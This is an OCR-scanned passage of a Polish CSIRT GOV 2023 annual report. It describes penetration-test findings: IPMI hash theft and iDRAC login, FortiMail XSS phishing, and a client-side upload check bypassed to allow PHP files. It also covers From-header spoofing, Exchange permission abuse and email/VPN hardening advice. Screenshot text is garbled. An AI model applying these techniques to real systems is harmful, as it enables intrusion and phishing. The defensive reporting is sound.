Podjgcie proby pozyskania hash-y haset kont uzytkownikéw dziatajgcych w ustudze IPMI

Rysunek 67. Pozyskanie hash hasta do konta uzytkownika root

Ujawnienie hasta do konta root dziatajgcego w ustudze IPMI, a nastepnie przeprowadzenie prob
logowania sie do ustugi IPMI - przyktady ponize;j.

Rysunek 68. Ujawnienie listy uzytkownikéw wraz z nadanymi im uprawnieniami
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Search
# Dashboard & System & Storage v ilf Confi ion i oo 9, iDRAC Settings v _ ~
Dashboard
== | B | s o
Health Information | system Information & Task Summary View All Jobs
Power State ON
Model PowerEdge M640 No Pending Jobs
Host Ni DF1POVW2
System Health Storage Health s
_ Operating System Dell-VMware ESXi
[® Healthy Detailsp B Healthy Detailsp
Operating System Version 7.0 Update 3 Build-20842708 (A10) NG It Droxsems ok
Service Tag F1POVW2
BIOS Version 23122
iDRAC Firmware Version 5.00.10.20
IP Address(es) 172.31.40.111
iDRAC MAC Address 6c:20:59:84:20:49
License Enterprise Edit

Rysunek 69. Zalogowanie sie z wykorzystaniem panelu WWW




System Revision =|

System BIOS Version  =2.12.2

Service Tag =

Express Svc Code =

Host Name = DF1POVW2

0S Name = Dell-VMware ESXi

0S Version = 7.0 Update 3 Build-20842708 (A10)
Power Status =0ON

Fresh Air Capable  =Yes

RollupStatus =0k

racadm>>exit

Connection to 172.31.40.111 closed.

Rysunek 70. Zalogowanie sie z wykorzystaniem SSH

7. Podatnos¢ CVE-2021-43062 w rozwigzaniu FortiMail

Podatnosc¢ typu XSS wykryta w produkcyjnym rozwigzaniu FortiMail - platformie do ochrony poczty
email. Podatnosc ta zostata wykorzystana do przeprowadzenia ataku socjotechnicznego. Do pracownikow

instytucji przestano wiadomosci email zawierajgce spreparowany link, ktory przenosit uzytkownikow

na ,ztosliwg” strone. Payload XSS zaznaczony jest zottym kolorem na ponizszym zrzucie z ekranu.

Wszystkie Nieprzeczytane Przez Data ~  Najnowsze +

4 Dzisiaj

admin@
test31
Uwaga! W zlado
Kliknij lub naciénij, aby sledzic link.

admin@ b
test30 LS

Uwaga! W

admin@|
test29
Uwaga! W

Rysunek 71. Wykorzystanie podatnosci CVE-2021-43062
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8. Wgranie pliku o niedozwolonym rozszerzeniu php na serwer aplikacji webowej

W aplikacji WWW podlegajacej ocenie bezpieczenstwa, w jednym z jej formularzy, istniata
mozliwos¢ wgrywania plikow przez uzytkownika. Funkcjonalnos¢ weryfikacji rozszerzenia wgrywanych
plikéw zaimplementowana byta wytacznie po stronie frontend-u, tj. przegladarki. Przechwycenie pliku
JavaScript odpowiedzialnego za ten mechanizm i jego modyfikacja z wykorzystaniem narzedzia np. Burp
Suite, pozwolita na wgranie pliku na serwer z dowolnym rozszerzeniem.

W przechwyconym pliku JS nalezato wykonac dwie czynnosci: podmienic akceptowane rozszerzenie
pliku z CSV na rozszerzenie pliku, jaki chcemy wgra¢ na serwer. W ponizszym przyktadzie zmieniono
je na PHP:

>up-item list-group-item-actfon border",3,"click",4,"ngFAllr","ngForof*],[1,
'text-center","mb-0"],[1,"d-lflex","justify-content-centgl"1,[1,"btn",
ick"],[1,"mb-0"],["type","fi ","accept",".php"l,l,"d-no ",3,"Chahge"],[
-1tems-center","justify-contfiht-center"],[1,"mb-0",3,"ndllass"], ["type",

Rysunek 72. Modyfikacja pliku .js — zmiana pliku csv na php

Nastepnie nalezato zmodyfikowac funkcje onFileSelected poprzez usunigcie znaku ,!" (operator
negacji)
onFileSelected(e){
if(this.fileToUpload=e.target.filesp s.globalConfig.IMPORT_CSV_ALLOWED_CONTENT_TYPE.11

this.reportVerificationFileStatus=b i, this.reportFile=null

}

I B R

Rysunek 73. Modyfikacja pliku JS — usuniecie operatora negacji

Po przeprowadzeniu tych zmian aplikacja WWW umozliwita wgranie pliku PHP. Nalezy zauwazyc,
ze jest to plik z rozszerzeniem w technologii, w ktorej zostata napisana przedmiotowa aplikacja.




9. Niewtasciwa walidacja pola ,From” w otrzymanych wiadomosciach email przez serwer
pocztowy

Stwierdzono wystepowanie niewtasciwej walidacji pola ,From” w mechanizmie bezpieczenstwa
serwera pocztowego. Btad ten umozliwit podszycie sie pod subdomene w domenie badanej instytucji,
co znacznie podniosto wiarygodnos¢ przeprowadzonego ataku socjotechnicznego - phishing.

LISl Pomoc  ESET Q) Powiedz mi, co cheesz zrobié

e 7 <N P 7 & 3 9~ 5% Oznacz jako nieprzeczytane w
& x & @ =Y Przeniesdo:? £ Do kierownika = L j przeczyt a? » A))
o Ut At OdL(-d oh P I Wiadomosc e-... v Gotowe = M8 Hi Kategoryzuj - S )~ G| Reted
. Usufi Archiwizyj Odpowiedz Odpowiedz Przeslij . |~ | Przenies o rzetlumacz aj wiel
o wizystkim dalej 1~ | Odpowiedzius.. ¥ Utwérz nowa < . [P~ [* Flaga monitujaca ~ N °| s

Usuft ‘Odpowiadanie Szybkie kroki % Przenoszenie Tagi B Edytowanie Mowa  Powigkszen

ZK

Dodatek inflacyjny

Szanowni Paristwo,

zostala dla Paristwa przy nowa funkcjonalnosé - "Wniosek o dodatek" za poérednictwem, ktdérej moina wybraé preferowang forme dodatku inflacyjnego przyznanego
pracnwnikom- tradycyjny przelew lub bon "Sodexo" o wyiszej wartoci.
W celu wybrania preferowanej formy dodatku, od biezgcego miesiaca, prosimy o uzupetnienie formularza

Z powazaniem,

Rysunek 74. Przestanie wiadomo$ci email z wykorzystaniem nieprawidtowej walidacji pola FROM

Wykryty btad byt o tyle istotny, ze wystepowat pomimo prawidtowej konfiguracji rekordow TXT
w DNS, jak rowniez SPF, DMARC oraz DKIM. Dzieki temu btedowi mozliwe byto wystanie kampanii
phishingowych ze spreparowanym nagtowkiem, ktore dostarczane byty bezposrednio do skrzynek
pocztowych uzytkownikdw instytucji. Uzytkownicy w tej sytuacji w swoich klientach pocztowych widzieli
adres pocztowy w domenie .gov.pl, co znaczaco uwiarygodnito kampanie prowadzong w ramach testow
socjotechnicznych.




6.3.

Ocena bezpieczenstwa - pozostate podatnosci

W przypadku podatnosci o mniejszej wadze ($rednie oraz niskie), do najczesciej identyfikowanych

przez Zespot CSIRT GOV mozna zaliczy¢:

Akceptowanie potaczen z wykorzystaniem szyfrowania SSL 2.0, 3.0, TLS 1.0;

Akceptowalne potaczenia do paneli administracyjnych baz danych tj. m.in. PostgresSQL, MySQL

z sieci TOR oraz mozliwosc¢ przeprowadzania ataku metodg stownikowg i/lub bruteforce;
Wsparcie dla stabych algorytmow szyfrowania SSL (dtugos¢ klucza od 64 do 112 bitow);
Wykorzystywanie algorytmow hashowania podatnych na kolizje, m.in. MD2, MD4, MD5 lub SHAT;
Podatnos¢ DROWN w SSLv2 - mozliwa deszyfracja przechwyconego ruchu TLS;

Podatno$¢ POODLE w SSLv3 - mozliwe przeprowadzenie ataku typu Man-in-the-Middle;

Stosowanie certyfikatéw typu ,self-signed” - certyfikat X.509 serweréw podpisany przez
nieznane centrum autoryzacyjne (CA);

Internet Key Exchange (IKEv1) -stosowanie trybu Aggressive Mode;

Brak skonfigurowanego Network Level Authentication (NLA) dla serwerdéw RDP;
Brak aktualizaciji biblioteki JQuery;

Brak aktywnej reguty weryfikacji rekordu SPF,

Ponadto, Zespét CSIRT GOV prowadzit rowniez analize zrodet otwartych w ramach czynnosci typu

OSINT. Czynnosci te pozwolity na okreslenie ilosci danych zawartych jako metadane w dokumentach

publikowanych w ramach publicznych serweréw WWW oraz portalach spotecznosciowych. Celem typu

dziatan jest kazdorazowo ujawnienie danych wrazliwych poprzez rozpoznanie ogélnodostepnych zrodet

informacji, ktore moga pozniej postuzy¢ do atakow, przede wszystkim spearphishingowych, wobec

poszczegdlnych podmiotdw.




DZIALANIA NA RZECZ
CYBERBEZPIECZENSTWA PROCESU
WYBORCZEGO




W roku 2023 r. Zespét CSIRT GOV podjat dziatania majgce na celu wsparcie cyberbezpieczenstwa
systemow teleinformatycznych zwigzanych z organizacja wybordw parlamentarnych. Zadania te
dotyczyty aspektdw oceny bezpieczenstwa teleinformatycznego, szkolen, jak réwniez prowadzenia

rozpoznania cyberzagrozen oraz obstugi incydentow pod katem procesu wyborczego.

Zespot CSIRT GOV prowadzit oceng bezpieczenstwa systemow i sieci IT dotyczacych
wsparcia systemu wyborczego, podczas ktdrej na biezaco informowano przedstawicieli organdw
wyborczych o wykrytych podatnosciach w infrastrukturze sieciowej ze szczegolnym uwzglednieniem tych,
ktére wymagaty podjecia niezwtocznych dziatan przez administratoréw. W ramach oceny bezpieczenstwa
CSIRT GOV przeprowadzat rowniez testy socjotechniczne, majace na celu weryfikacje $wiadomosci oraz
odpornosci uzytkownikow systemow.

W zakresie wzmacniania $wiadomosci uzytkownikow przeprowadzono szereg szkolen majacych
na celu podwyzszenie poziomu wiedzy personelu zaangazowanego w organizacje przebiegu wybordw
w zakresie zagrozen w cyberprzestrzeni. Szkoleniami objeto zaréwno szczebel kierowniczy, jak i kadre
pracownikow, w tym réwniez administratorow systemdw i sieci IT. Jednoczesnie Zespdt CSIRT GOV
wspierat organy panstwa w zakresie mozliwosci wdrozenia mechanizmow czy procedur majacych na celu
podniesienie poziomu bezpieczenstwa infrastruktury oraz uzytkownikow systemow teleinformatycznych,
np. poprzez szkolenia e-learningowe dla komisji wyborczych czy tez wzmocnienie bezpieczenstwa
uzytkowania systemow teleinformatycznych w poszczegalnych komisjach wyborczych.

W trakcie wyboréw Zespot CSIRT GOV prowadzit wzmozone monitorowanie zagrozen
cybernetycznych. Jako szczegdlny rodzaj zagrozen uznano zagrozenia dezinformacyjne wymagajace
monitorowania cyberprzestrzeni w zakresie rejestrowanych domen, stron podszywajacych sie
czy tez weryfikacji tresci dezinformacyjnych o tematyce wyborczej zamieszczanych w mediach
spoteczno$ciowych, bezposrednio przed, jak i w trakcie prowadzonych wyborow parlamentarnych.

SLUZBA
WOJSKOWA

Rysunek 75. Przyktadowa grafika dezinformacyjna.
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8.1.  Dziatania sektorowe mitygujace podatnosci MS EXCHANGE

W ramach dziatan zwiekszajacych poziom odpornosci podmiotow krajowego systemu
cyberbezpieczenstwa, w IV kwartale 2023 roku wspdlnie z Dowddztwem Komponentu Wojsk Obrony
Cyberprzestrzeni przeprowadzone zostaty dziatania zmierzajace do weryfikacji i ograniczenia mozliwosci
wykorzystania okreslonego typu funkcjonalnosci poczty elektronicznej w srodowisku MS EXCHANGE,
bazujacej na technice modyfikacji uprawnien do folderow skrzynek pocztowych do dziatalnosci
cyberprzestepczej.

Funkcjonalno$¢ ta umozliwiata przeprowadzenie ataku polegajgcego na nieautoryzowanej
modyfikacji uprawnien do folderow poczty na serwerze MS EXCHANGE, co w konsekwencji pozwalato

na dostep do skrzynek poczty dowolnych uzytkownikow przez osoby nieuprawnione.

W przypadku materializacji tego typu zagrozenia adwersarz uzyskuje dostep do skrzynki
pocztowej uzytkownika np. poprzez ataki typu bruteforce czy tez poprzez wykorzystanie podatnosci
CVE-2023-23397, ktdra polega na kradziezy skrotu NTLMv2 ofiary. Nastepnie, po uzyskaniu dostepu
do konta pocztowego, atakujacy jest w stanie zmieni¢ uprawnienia do danego folderu poczty, najczesciej
dla grup ANONYMOUS badz DEFAULT (wszyscy uwierzytelnieni uzytkownicy w domenie pocztowej
Exchange), z wartosci NONE na OWNER.

Mechanizm ten umozliwiat dostep do zasobdw poczty danego uzytkownika na prawach odczytu
bez wtasciwej kontroli.

Wedtug dostepnych zradet wykorzystanie wskazanych funkcjonalnosci poczty w celu uzyskania
nieuprawnionego dostepu do korespondencji mozna przypisac¢ do dziatan powigzanych z grupa znana
jako APT28/Forrest Blizzard.

Majac na uwadze powyzsze, Zespot CSIRT GOV w podjat we wspotpracy z DKWOC dziatania
majace na celu weryfikacje i mitygacje przedmiotowego zagrozenia w systemach wykorzystywanych
przez podmioty administracji rzadowej oraz operatorow infrastruktury krytycznej. Dziatania te polegaty
na przeprowadzeniu inwentaryzacji uprawnien przez podmioty uzytkujgce rozwigzania MS EXCHANGE
w zakresie zmian w uprawnieniach folderow poczty. Dziatania umozliwity ocene tego typu zagrozenia
oraz dokonanie zmian w zakresie monitoringu uprawnien, jak réwniez polityk dostepu do poczty dla
uzytkownikow.
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8.2. Locked Shields
W dniach 18-21 kwietnia 2023 roku odbyty sie ¢wiczenia o kryptonimie ,Locked Shields 2023", do

udziatu w ktorych zostali zaproszeni przedstawiciele Zespotu CSIRT GOV. Locked Shields to najwigksze
na $wiecie ¢wiczenia z zakresu cyberobrony, organizowane cyklicznie przez NATO Cooperative Cyber
Defence Centre of Excellence (CCDCOE).

W przedmiotowych cwiczeniach wziety udziat 24 zespoty Blue Team z 38 krajow. Byty one
odpowiedzialne za ochrone poszczegdlnych elementdw stworzonego na potrzeby ¢wiczenia specjalnego

$rodowiska wirtualnego.

Scenariusz ¢wiczen przewidywat koniecznos¢ obrony fikcyjnego panstwa, ktore padto ofiarg
cyberatakow na duzg skale. Zadaniem druzyn Blue Team byta ochrona systemow informatycznych
i infrastruktury krytycznej - systemow bankowych, elektrowni czy sieci przemystowych przed

eskalowanymi atakami.

W trakcie ¢wiczen Locked Shields uczestnicy muszg stawic czota roznym scenariuszom atakow
cybernetycznych, od zaawansowanych atakow hakerskich po proby dezinformacji i manipulacji.
Wspdtpraca miedzynarodowa odgrywa tutaj kluczowa role w tych ¢wiczeniach, poniewaz symulowane
ataki sg czesto ztozone i wymagajg wspolnego dziatania ekspertéw z roznych obszardw.

Celem cwiczenia jest zwigkszenie gotowosci i umiejetnosci reakcji na rzeczywiste zagrozenia
cybernetyczne. Locked Shields daje uczestnikom mozliwo$¢ przetestowania swoich umiejetnosci w czasie
rzeczywistym, w kontrolowanym srodowisku, co przyczynia sie do podniesienia poziomu $wiadomosci
i doswiadczenia w dziedzinie cyberbezpieczenstwa.

Polski Zespot Blue Team sktadat sie przedstawicieli zespotow CSIRT poziomu krajowego, tj. CSIRT
GOV, CSIRT NASK oraz CSIRT MON, a takze ekspertow z instytucji finansowych, energetycznych, sektora
prywatnego, czy uczelni wyzszych.

W 2023 roku polski Zespét Blue Team zajat trzecie miejsce w ogolnej klasyfikacii.




8.3. Cwiczenia CCE2023

W 2023 roku Zespot CSIRT GOV po raz kolejny uczestniczyt w éwiczeniach Cyber Conflict Exercise
(CCE2023), ktorych organizatorem byt potudniowokoreanska instytucja CSTEC-Cyber Security Training
and Exercise Center.

Zadania przygotowane przez organizatoréw dotyczyty szeroko pojetej teleinformatyki oraz
cyberbezpieczenstwa i miaty w duzej mierze charakter zawodow typu CTF (Capture The Flag).

Zadania z ktorymi zmierzyli sig uczestnicy dotyczyty m.in.:

obrony infrastruktury przed aktywnymi atakami;

e informatyki $ledczej;

e przetamania zabezpieczen aplikacji oraz serweréw www,

e programowania;

e analizy kodu w poszukiwaniu backdoor-0w oraz ich usuwania;
e analizy ruchu sieciowego;

e analizy ztosliwego oprogramowania.

Zadania postawione przed uczestnikami w duzej mierze odzwierciedlaty wyzwania, z ktorymi
spotkac sie mozna na co dzien w obszarze cyberbezpieczenstwa, wtasciwym dla zespotow reagowania
na incydenty bezpieczenstwa komputerowego. Polska byta jednym z 8 zagranicznych zespotdw, ktore
znalazty sie w finale zawodow.

8.4. Szkolenia prowadzone przez Zespot CSIRT GOV

Zespot CSIRT GOV namocy ustawy z dnia 5 lipca 2018 roku o krajowym systemie cyberbezpieczenstwa
realizuje wsparcie podmiotow krajowego systemu cyberbezpieczenstwa w budowaniu potencjatu
i zdolnosci dotyczacych cyberzagrozen. Jednym z dziatan realizowanych przez Zespét CSIRT GOV
w tym obszarze jest wspieranie Swiadomosci w obszarze cyberbezpieczenstwa oraz wspotpraca
w zakresie rozwigzan edukacyjnych (art. 26 p. 14 wzmiankowanej ustawy). Powyzsze dziatania
realizowane sg miedzy innymi poprzez prowadzenie szkolen oraz indywidualnych konsultacji z zakresu
szeroko rozumianego bezpieczenstwa osobowego w kontekscie wspotczesnych cyberzagrozen. W 2023
roku przedstawiciele CSIRT GOV przeprowadzili szereg konsultacji w zakresie cyberbezpieczenstwa oraz
szkolen dla grup reprezentujacych instytucje i organy panstwowe, tacznie dla okoto 500 osdb.
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Wnioski jakie ptyng z powyzszych spotkan to przede wszystkim potrzeba ciggtej
edukacji uzytkownikéw w aspekcie zachowania podstawowych zasad zwigzanych z cyberhigiena.
Dotyczy to m.in. ciggtego uswiadamiania uzytkownikow, jak istotne jest posiadanie unikatowych silnych
haset do kont w ustugach teleinformatycznych oraz implementacja dwusktadnikowego uwierzytelniania
W procesach zwigzanych z dostepem do ustug z poziomu sieci Internet, jak np. poczta elektroniczna czy
VPN.

Istotne jest rowniez ciggte podnoszenie $wiadomosci na temat tego, jak wazna jest aktualizacja
systemow operacyjnych i oprogramowania, by wykorzystywane srodowisko informatyczne byto wolne

od ogdlnie znanych i udokumentowanych bteddw i podatnosci.

Waznym aspektem procesu szkoleniowego jest takze wymadg uzupetniania programu o informacije
0 zagrozeniach przekazywane na biezgco przez wtasciwe komorki cyberbezpieczenstwa poszczegdlnych
organizacji. Istotne jest réwniez, aby caty personel miat dostep do aktualizowanej wiedzy odno$nie
cyberzagrozen i zasad bezpiecznej pracy w srodowisku teleinformatycznym, w szczegdlnosci
potwierdzanej okresowo stosownymi testami lub co najmniej poprzez formute zapoznania sie.







ZAGROZENIA POCZTY ORAZ VPN




Sty Gt

Poczta elektroniczna oraz dostep do danych firmowych poprzez $rodowiska VPN stanowig
obecnie kluczowe rozwigzania zapewniajace pracownikom mozliwos¢ realizacji codziennych zadan
stuzbowych. Ustugi te oparte sg w znacznej mierze na sieci Internet, zapewniajac tym samym szeroki
dostep do zasobdw oraz mozliwosci wymiany danych. Powszechnos$¢ uzycia poczty elektronicznej oraz
rozwoj pracy zdalnej w oparciu o VPN staty sie tym samym naturalnym punktem zainteresowania grup
cyberprzestepczych poszukujacych mozliwosci nieuprawnionego dostepu do infrastruktury czy danych,
oraz nierzadko zainteresowanych przeprowadzeniem dziatan ofensywnych prowadzacych w swoich
skutkach do pozyskania danych logowania, eksfiltracji czy utraty dostgpnosci danych, np. poprzez
wykorzystanie oprogramowania ztosliwego. Celem tego typu dziatan stata sie takze infrastruktura
uzytkowana w obszarze wrazliwym dla bezpieczenstwa panstwa, w tym takze nalezaca do operatordw
infrastruktury krytycznej.

Rokrocznie odnotowywane sg incydenty dotyczace wtaman do systemow i sieci teleinformatycznych
podmiotéw publicznych czy dziatajgcych na rynku komercyjnym. Uzyskiwanie dostepu do systemdw
i sieci teleinformatycznych moze opierac¢ sie o wielorakie wektory ataku, np. poprzez wykorzystanie
kampanii socjotechnicznych celem wprowadzenia ztosliwego oprogramowania typu reverse shell
i przeprowadzenia dalszych dziatan nieuprawnionych w zakresie rekonesansu infrastruktury, badz
stuzacych eksfiltracji danych. Scenariusze tego typu atakow sa ciggle rozwijane i nierzadko bazuja
na nowo ujawnianych podatno$ciach, wykorzystujg rowniez btedy uzytkownikow. Podobne mozliwosci
dziatania stwarzaja takze stabosci zabezpieczen rozwigzan klasy VPN, gdzie przetamanie zabezpieczen
umozliwia osiggnigcie nie mniej destrukcyjnych skutkow, prowadzacych czesto po przetamaniu

zabezpieczen do zaszyfrowania zasobow przy uzyciu oprogramowania ztosliwego typu ransomware.

9.1. Poczta elektroniczna

Istotnym wyzwaniem cyberbezpieczenstwa, przed ktorym stale stoja administratorzy, jest
ograniczanie mozliwosci wtaman do ustug poczty elektronicznej. W tym obszarze zagrozen nalezy dostrzec
przede wszystkim potencjat szkodliwych dziatan, ktore wynikajg z dziatan grup cyberofensywnych
typu APT, dla ktdrych poczta elektroniczna jest naturalnym wektorem ataku. Grupy te stale poszukuja
punktéw wejscia do infrastruktury pomiotéw nalezacych do sfery rzadowej lub funkcjonujacych w tzw.
sferach wrazliwych dla gospodarki. Podstawg tego typu dziatan jest jak zawsze rozpoznanie zasobdw
teleinformatycznych i pozyskanie wiedzy koniecznej do przeprowadzenia kampanii ukierunkowanych
na zasoby poczty danej organizacji. Tego typu wiedza moze by¢ pozyskana z wielorakich zrddet,
obejmujacych przyktadowo:

e rozpoznanie dostepnosci w sieci Internet paneli logowania typu webmail do poczty elektronicznej;




e sprawdzenie obecnosci w znanych ,wyciekach” danych wrazliwych, zwtaszcza w postaci loginow
czy haset do roznego rodzaju ustug, ktore moga postuzy¢ do prob przetamywania zabezpieczen
ustug poczty, jak rowniez VPN,

e wykorzystanie dostepnych w repozytoriach eksploitow dotyczacych poczty, ktére moga byc
przeznaczone do dziatan cyberofensywnych;

e inicjowanie wtasnych dziatan w celu poszukiwania nieznanych podatnosci srodowiska poczty,
okreslanych jako zero-day, ktore umozliwiajg uzyskanie dostgpu i tym samym osiggniecie celow
destrukcyjnych.

Dziatania cyberofensywne grup APT stuzg przede wszystkim dostarczaniu na urzadzenia koncowe
uzytkownikow zawartosci ztosliwej. W tym zakresie obserwuje sie réznego rodzaju techniki pozwalajgce
na osiggnigcie zamierzonego celu. Najprostsza, popularng metoda jest przesytanie zatgcznikow do poczty
w roznych formatach archiwalnych. Zatgczniki te moga wymagac podania hasta lub wykorzystywac
manipulacje w rozszerzeniach celem ukrycia plikéw wykonywalnych. Czestymi technikami dostarczania
oprogramowania ztosliwego poprzez poczte elektroniczng jest takze wykorzystywanie linkow
umozliwiajacych pobranie plikow wykonywalnych poprzez np. techniki HTML smuggling, czy wykorzystanie
plikéw typu HTA czy LNK, ktore wymagaja interakcji uzytkownika celem uruchomienia ciggu polecen
srodowiska systemowego, umozliwiajac finalnie infekcje.

Analizujac podatnosci wykorzystywane w roku 2023 mozna niewatpliwe potwierdzic wskazane
powyzejspostrzezenia.Najbardziejistotnym wektorem ataku typu zero-day byto wykorzystanie omawianej
w Raporcie podatnosci Microsoft Outlook CVE-2023-23397, ktdra nie wymagata interakcji uzytkownika
i umozliwiata eksfiltracje danych wrazliwych w postaci skrotu NTLMv2. Pozyskanie tego typu danych
zwigkszato mozliwosci dostepu do poczty uzytkownikdéw jak rowniez zasohéw domenowyché. Tego typu
zagrozenia mogty by¢ ograniczone w przypadku konsekwentnego stosowania zasad bezpieczenstwa,
opierajacych sie na terminowaniu ruchu wtasciwego dla protokotdw, w szczegdlnosci SMB i NETBIOS,
ktore nie powinny by¢ dopuszczone w ruchu sieciowym poza domeng organizacji.

Wsrod zagrozen poczty elektronicznej odnotowanych w roku 2023 mozna rowniez wyrdznié
zagrozenia poczty Microsoft Exchange opierajace sig o funkcjonalnosci tego Srodowiska w zakresie
nadawania uprawnien do skrzynek/folderow poczty innym uzytkownikom poprzez zmiany w politykach

dostepu. Tego typu zmiany uprawnien umozliwiaty eksfiltracje danych z poziomu kont uzytkownikdw.

¢ np. w przypadku dostepu z sieci Internet do poczty elektronicznej poprzez OWA (bez 2FA) zwigkszato to znacznie mozliwosci zalogowania na
konto uzytkownika po pozyskaniu przez atakujacego hasta do konta
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Opisane zagrozenia byty w zasadzie skutkiem stabosci zabezpieczen poczty elektronicznej
i braku stosownego monitoringu, tym samym stwarzaty wiekszg przestrzen do eksfiltracji danych
zZ organizaciji.

Trzecig grupe zagrozen stanowity zagrozenia ukierunkowane na webmail, np. podatnos¢
XSS w poczcie Roundcube (CVE-2023-6531), umozliwiajaca eksfiltracje danych ze skrzynki uzytkownika.
Podatnosci XSS wymagaja dokonania przez producenta poczty zmian po stronie serwera w zakresie
wtasciwej walidacji odwotan aplikacyjnych i tym samym stwarzaja state zagrozenia dla tego typu dostepu.

Ochrona poczty elektronicznej opierasig na wielu elementach bezpieczenstwa, zaréwno Srodowiska
teleinformatycznego, jak rowniez samego dostepu do poczty przez uzytkownikdw. Niezaleznie od sposobu
dostarczania tej ustugi w oparciu o wtasne Srodowisko on-site, w ramach hostingu zewnetrznego czy
ewentualnie jako ustugi chmurowej lub hybrydowej, nalezy kazdorazowo zapewni¢ adekwatne Srodki
bezpieczenstwa, ktore w znaczny sposob mogg ograniczy¢ mozliwosci wystepowania incydentow
zwigzanych z tego typu ustugami.

Bazujac na ocenie Zespotu CSIRT GOV w zakresie zagrozen poczty elektronicznej oraz wydawanych
w zwigzku z tym ostrzezen, mozna sformutowac podstawowe rekomendacje, ktdre powinny byc
uwzglednione dla tego typu ustug:

e warunkiem koniecznym dostepu do poczty dla uzytkownikow poprzez ustugi www jest stosowanie
uwierzytelnienia wielosktadnikowego opartego na kluczach sprzetowych, rozwigzaniach typu
OTP, np. autentykatorach software'owych czy tez ewentualnie SMS-ach (w przypadku braku
innych opcji);

e zapewnienie mozliwosci logowania do poczty tylko z sieci korporacyjnej. Wystawienie ustugi
dostepu do poczty na zewnatrz, przede wszystkim w rozwigzaniach typu on-site, wigze
sig nieodtacznie z wigkszym ryzykiem wystgpienia zagrozen, m.in. w zakresie ominigcia
uwierzytelnienia i nieuprawnionego wykonania kodu na serwerze. W przypadku dostepu z sieci
zewnetrznych istnieje konieczno$¢ stosowania dodatkowych srodkéw bezpieczenstwa w postaci
wykorzystania potgczenia przez VPN organizacji lub ewentualnie certyfikatow klienckich
ograniczajgcych dostep tylko do uwierzytelnionych certyfikatem urzadzen uzytkownikow.
Urzadzenia te powinny ponadto posiada¢ kryptograficzng ochrone danych opartg o wbudowane
narzedzia programowe lub sprzetowe;

e dostep do poczty powinien byc realizowany z urzadzen elektronicznych bedacych pod kontrola
danego podmiotu;

e zapewnienie monitoringu logowan oraz sesji uzytkownikow uwzgledniajacego takie aspekty
bezpieczenstwa, jak liczba btednie podanych danych logowania dla danego konta czy z danej




lokalizacji sieciowej;

e zapewnienie rozliczalnosci w dostepie uzytkownikéw do poczty wraz z kolekcjg stosownych
logdw przez okres minimum 12 miesiecy,

e zarzadzanie dostepem do poczty z zewnatrz z wykorzystaniem geofencingu, tj. dozwoleniem
logowan z okreslonych adresacji dopuszczonych wedtug geolokalizacji, filtrowanie

potaczen z sieci o niskiej reputacji czy z sieci stuzacych zapewnieniu anonimowosci, np. siec TOR;

e stosowanie metod opartych na metodach defense-in-depth, wykorzystujacych przy ochronie
poczty przede wszystkim monitorowanie ruch sieciowego na brzegu sieci klienckiej potaczone;
z siecig Internet, jak rowniez rozwigzan pozwalajacych na petny monitoring roznych aspektow
bezpieczenstwa dostepu uzytkownikow, np. w postaci Secure Web Gateway’;

e zapewnienie monitoringu polityk dostepu do folderdw poczty elektronicznej pod katem zmian
umozliwiajacych nadanie uprawnien dla wielu uzytkownikow;

e zapewnienie weryfikacji wiadomosci zawierajgcych zatgczniki w roznych formatach, w tym
zwtaszcza typu archiwum pod katem oprogramowania ztosliwego. W przypadku braku mozliwosci
weryfikacji przenoszenie wiadomosci do kwarantanny;

e zapewnienie ochrony koncowek klienckich uzytkownikow poczty email nie tylko poprzez
rozwigzania antywirusowe, ale réwniez ochrong typu EDR (Endpoint Detection and Response);

e wprowadzenie do wiadomosci uzytkownikéw poczty elektronicznej etykiet bezpieczenstwa
mowigcych o pochodzeniu poczty spoza domeny danego podmiotu.

Biorac pod uwage dziatania na rzecz bezpieczenstwa poczty elektronicznej warto takze zaznaczyc,
ze w roku 2023 zostat wprowadzony nowy regulamin domen dla gov.pl®. Regulamin ten wprowadzit
bezwzgledne wymagania w zakresie utrzymania domeny poczty elektronicznej, naktadajgc obowigzek
stosowania odpowiednich zabezpieczen, tj. mechanizméw SPF (Sender Policy Framework), DMARC
(Domain-based Message Authentication Reporting and Conformance) oraz DKIM (DomainKeys Identified
Mail) oraz uwierzytelnienia dwusktadnikowego w dostepie do poczty elektronicznej. Abonenci takich
domen musza zaimplementowa¢ wskazane mechanizmy celem ograniczenia mozliwosci podszycia
pod domeny gov.pl. Dodatkowo w roku 2023 uchwalona zostata rowniez ustawa z dnia 28 lipca 2023 r.
o zwalczaniu naduzy¢ w komunikacji elektronicznej (Dz. U. 2023 poz. 1703), w ktdrym to akcie wprowadzono
koniecznos¢ stosowania wskazanych mechanizmow bezpieczenstwa poczty przez dostawcow poczty
$wiadczacych ustugi dla ponad 500 tys. uzytkownikdw, jak rowniez podmiotow publicznych.

7 Secure Web Gateway to rozwigzania stuzace do inspekcji ruchu aplikacyjnego pochodzacego od uzytkownikdw - klientow taczace w sobie
rézne $rodki bezpieczerstwa typu DLP, filtrowanie URL, detekcja malware;
8 https://www.dns.pl/regulamin_gov_pl
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Biorac pod uwage wskazane wymagania dotyczace odpowiednich zabezpieczen przy rekordach
poczty SPF, DMARC oraz DKIM, mozna zwrdci¢ uwage na istotne elementy konfiguracji rekorddw,
zwiekszajgce bezpieczenstwo w ochronie poczty:

e rekord SPF powinien uwzglednia¢ dyrektywe bezpieczenstwa -all umieszczong na koncu,
odrzucajaca poczte dla danej domeny po negatywnej weryfikacji pozostatych dyrektyw SPF;

e rekord DMARC powinien zawiera¢ ustawienie polityki bezpieczenstwa p=reject albo p=quarantine;

e w przypadku mozliwosci podszycia z uzyciem subdomen nalezy zauwazyc, ze rekord DMARC
poprawnie skonfigurowany dla domeny TLD w opcji p=reject albo p=quarantine chroni takze przed
podszyciem pod subdomeny. Dodatkowo mozliwe jest wprowadzenie w rekordzie TLD polityki dla
subdomen jako sp=reject;

e w przypadku rekordu SPF, dla kazdej uzywanej subdomeny nalezy zdefiniowac oddzielne SPF;

e dla domeny nieprzeznaczonej do wysytki poczty zalecane jest stosowne skonfigurowanie
rekordow, np. jako SPF v=spf1 -all, DMARC p=reject; sp= reject; adkim=s; aspf=s, DKIM v=DKIMT; p=
oraz rekordu MX jako MX 0.

9.2. VPN

Drugim wyzwaniem pod wzgledem zagrozen w cyberprzestrzeni jest zapewnienie bezpiecznego
dostepu do infrastruktury poprzez rozwigzania typu VPN.

W powszechnym uzyciu wystepuja dwa rodzaje dostepu VPN, tj.: client-to-site oraz site-to-site.
Wskazane rodzaje dostepu rdznig sie przeznaczeniem, co ma takze wptyw na ztozonos$¢ administrowania
